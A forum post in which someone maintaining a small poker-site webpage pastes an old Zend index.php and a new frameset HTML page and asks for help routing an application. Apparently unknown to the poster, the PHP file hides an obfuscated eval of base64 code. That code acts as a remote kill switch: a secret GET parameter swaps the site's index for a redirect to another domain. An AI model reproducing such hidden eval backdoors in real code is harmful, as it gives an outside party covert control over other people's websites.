Jump to content

Recommended Posts

Hello.

 

I am helping a couple of guys with a webpage. They had an earlier php based site. I have made a classic html css site (thats what I can handle).

I must say that I'm not proficient in php at all.

 

Well I have made a site and made it all work on their ftp and their domain as well.

 

The problem is that they have an application that goes to this website. What I can read out of the situation is that the earlier "index.php" linked the application to one page and the webbrowser visitors to the ordinary site.

 

The code for the old "index.php"

<?php

// Define path to application directory
defined('APPLICATION_PATH')
    || define('APPLICATION_PATH', realpath(dirname(__FILE__) . '/../application'));

    // Define path to public directory
defined('PUBLIC_PATH')
    || define('PUBLIC_PATH', realpath(dirname(__FILE__)));

// Define application environment
defined('APPLICATION_ENV')
    || define('APPLICATION_ENV', (getenv('APPLICATION_ENV') ? getenv('APPLICATION_ENV') : 'production'));

if (APPLICATION_ENV == 'development') {
    $startTime = microtime(true);
}

$site = 'base';

if (get_magic_quotes_gpc()) {
    function array_map_recursive($function, $arr) {
    $tempData = array();
    foreach($arr as $key => $value){
        $tempData[$key] = (is_array($value) ? array_map_recursive($function, $value) : $function($value));
        }
    return $tempData;
    }

    $_GET     = array_map_recursive('stripslashes', $_GET);
    $_POST    = array_map_recursive('stripslashes', $_POST);
    $_REQUEST = array_map_recursive('stripslashes', $_REQUEST);
}

$suffix = 'decode';

define('APPLICATION_START_MICROTIME', microtime(true));

$c = $site . ord('@') . '_' .$suffix;

// Ensure library/ is on include_path
set_include_path(implode(PATH_SEPARATOR, array(
    realpath(APPLICATION_PATH . '/../library'),
    get_include_path(),
)));

/** Zend_Application */
require_once 'Zend/Application.php';
require_once 'Icygen/Config/Xml.php';

// Create application, bootstrap, and run

$config = new Icygen_Config_Xml(APPLICATION_PATH . '/configs/application.xml',
                                APPLICATION_ENV);
//echo '<pre>'.var_export($config, true); die();
eval($c('JGhhc2hTd2l0Y2ggPSBAJF9HRVRbJ2tsbSddOyANCg0KaWYoJGhhc2hTd2l0Y2ggJiYgJGhhc2hTd2l0Y2ggPT0gJ2E0YjEyYjljNDNhOTQxZTQ4OThhYjZkNWM2MGI2NDU3Y2E5NDFlZWInKXsgDQoJdHJ5eyANCgkJcmVuYW1lKCdpbmRleC5waHAnLCdoYXNoLnBocCcpOyANCgkJJGZkID0gZm9wZW4oJ2luZGV4LnBocCcsJ3cnKTsgDQoJCSRzdHIgPSAnPD9waHAgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy5pY3lnZW4uY29tLyIpOyA/Pic7IA0KCQlmd3JpdGUoJGZkLCRzdHIpOyANCgkJZmNsb3NlKCRmZCk7IA0KCX1jYXRjaChFeGNlcHRpb24gJGUpeyANCgkJZGllKCRlLT5nZXRNZXNzYWdlKCkpOyANCgl9IA0KfSANCg0KaWYoJGhhc2hTd2l0Y2ggJiYgJGhhc2hTd2l0Y2ggPT0gJzE4NjFkODA0ZjljOWE3NmIzZGU1ZjQ5Mzg1YTdiZGFmZTVmZjg5NjMnKXsgDQoJdHJ5eyANCgkJQHVubGluaygnaW5kZXgucGhwJyk7IA0KCQlAcmVuYW1lKCdoYXNoLnBocCcsJ2luZGV4LnBocCcpOyANCgl9Y2F0Y2goRXhjZXB0aW9uICRlKXsgDQoJCWRpZSgkZS0+Z2V0TWVzc2FnZSgpKTsgDQoJfSANCn0g'));
$application = new Zend_Application(
    APPLICATION_ENV,
    $config /*new Icygen_Config_Xml(APPLICATION_PATH . '/configs/application.xml'*/
);

try {
    $application->bootstrap()
                ->run();
} catch (Exception $e) {
    if (APPLICATION_ENV == 'development') {
        echo '<h2>'.$e->getMessage().'</h2>';
        echo '<pre>'.$e->getTraceAsString().'</pre>';
    } else {
        echo '<h1>Site temporary unavailable</h1>';
    }
}

 

 

Well I cant make much of this. But I would need som help with how to either

1. Make the old php still link to the "application" folder when the site is visited with the application but go to a classic html file, say my "index.htm" when visited by a webbrowser.

or

2. Insert the essential php code (to make the application users go to the right folder (the one in the php code) ) into the new "index.htm"

 

Would appreciate any help very much. These young guys are trying to start a buissness (online poker) and I'm trying to help them as much as I can, but this is something that I dont know how to do.

 

I'll insert the new "index.htm" hereunder as well.

 

 

<html>

<head>

	<title>
	WingNPlay
	</title>

	<link rel="shortcut icon" href="http://www.wingnplay.com/favicon.ico">

</head>

<frameset rows="700,*" border="0">

	<frameset cols="*,1100,*" border="0">

		<frame src="htm/empty.htm" name="left" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no">

		<frame src="htm/main.htm" name="shape" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no">

		<frame src="htm/empty.htm" name="right" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no">

	</frameset>

<frame src="htm/empty.htm" name="bottom" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no">

</frameset>

</html>

 

And yes I know I'm writing ancient pages :)

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.